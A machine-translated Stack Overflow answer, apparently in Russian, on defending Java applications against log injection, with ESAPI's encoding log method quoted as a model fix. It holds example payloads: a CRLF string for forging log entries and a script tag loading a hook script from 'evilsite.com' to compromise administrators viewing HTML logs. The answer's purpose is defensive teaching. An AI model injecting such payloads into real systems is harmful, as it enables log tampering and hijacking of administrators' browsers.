Есть ли способ исправить эту уязвимость, не меняя регистратор на ESAPI?
Короче да.
TL; DR:
Сначала поймите серьезность ошибки. Основное беспокойство вызывает фальсификация отчетов журнала. Скажем, у вас был такой код:
log.error( transactionId + " for user " + username + " was unsuccessful."
Если какая-либо переменная находится под контролем пользователя, они могут вводить ложные операторы регистрации, используя такие входы, как \r\n for user foobar was successful\rn
, что позволяет им фальсифицировать журнал и замести следы. (Что ж, в этом надуманном случае просто немного сложнее увидеть, что произошло.)
Второй способ атаки больше похож на шахматный ход. Многие журналы имеют формат HTML для просмотра в другой программе. В этом примере мы представим, что журналы предназначены для просмотра в браузере в качестве файлов HTML. Теперь мы вводим <script src=”https://evilsite.com/hook.js” type=”text/javascript”></script>
, и вы подключите браузер к среде эксплуатации, которая, скорее всего, будет выполняться как администратор сервера ... потому что сомнительно, что генеральный директор будет читать журнал. Теперь можно начинать настоящий взлом.
Защиты:
Простая защита - убедиться, что все операторы журнала с userinput экранируют символы '\ n' и '\ r' чем-то очевидным, например '֎', или вы можете сделать то, что делает ESAPI, и выйти с подчеркиванием. На самом деле это не имеет значения, если оно непротиворечиво, просто помните, что не следует использовать наборы символов, которые могут запутать вас в журнале. Что-то вроде userInput.replaceAll("\r", "֎").replaceAll("\n", "֎");
Я также считаю полезным убедиться, что форматы журналов точно указаны ... это означает, что вы убедитесь, что у вас есть строгий стандарт того, как должны выглядеть операторы журнала, и построить свое форматирование, чтобы легче было поймать злонамеренного пользователя. Все программисты должны принять участие в вечеринке и соблюдать формат!
Чтобы защититься от сценария HTML, я бы использовал [проект кодировщика OWASP] [1]
Что касается того, почему предлагается реализация ESAPI, это очень проверенная в боях библиотека, но в двух словах, по сути, это то, чем мы занимаемся. Смотрите код:
/**
* Log the message after optionally encoding any special characters that might be dangerous when viewed
* by an HTML based log viewer. Also encode any carriage returns and line feeds to prevent log
* injection attacks. This logs all the supplied parameters plus the user ID, user's source IP, a logging
* specific session ID, and the current date/time.
*
* It will only log the message if the current logging level is enabled, otherwise it will
* discard the message.
*
* @param level defines the set of recognized logging levels (TRACE, INFO, DEBUG, WARNING, ERROR, FATAL)
* @param type the type of the event (SECURITY SUCCESS, SECURITY FAILURE, EVENT SUCCESS, EVENT FAILURE)
* @param message the message to be logged
* @param throwable the {@code Throwable} from which to generate an exception stack trace.
*/
private void log(Level level, EventType type, String message, Throwable throwable) {
// Check to see if we need to log.
if (!isEnabledFor(level)) {
return;
}
// ensure there's something to log
if (message == null) {
message = "";
}
// ensure no CRLF injection into logs for forging records
String clean = message.replace('\n', '_').replace('\r', '_');
if (ESAPI.securityConfiguration().getLogEncodingRequired()) {
clean = ESAPI.encoder().encodeForHTML(message);
if (!message.equals(clean)) {
clean += " (Encoded)";
}
}
// log server, port, app name, module name -- server:80/app/module
StringBuilder appInfo = new StringBuilder();
if (ESAPI.currentRequest() != null && logServerIP) {
appInfo.append(ESAPI.currentRequest().getLocalAddr()).append(":").append(ESAPI.currentRequest().getLocalPort());
}
if (logAppName) {
appInfo.append("/").append(applicationName);
}
appInfo.append("/").append(getName());
//get the type text if it exists
String typeInfo = "";
if (type != null) {
typeInfo += type + " ";
}
// log the message
// Fix for https://code.google.com/p/owasp-esapi-java/issues/detail?id=268
// need to pass callerFQCN so the log is not generated as if it were always generated from this wrapper class
log(Log4JLogger.class.getName(), level, "[" + typeInfo + getUserInfo() + " -> " + appInfo + "] " + clean, throwable);
}
См. Строки 398-453. Это все, что дает ESAPI. Я бы посоветовал скопировать и модульные тесты.
[ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ]: Я являюсь соруководителем проекта ESAPI.
[1]: https://www.owasp.org/index.php/OWASP_Java_Encoder_Project и убедитесь, что ваши входные данные правильно закодированы при входе в операторы регистрации - каждый бит, как когда вы отправляете ввод обратно пользователю.
person
avgvstvs
schedule
06.07.2017
private static final Logger logger = ESAPI.getLogger(MyClass.class);
...logger.error(null, "Simple error message", ex);
- person Vitaliy Borisok   schedule 18.07.2017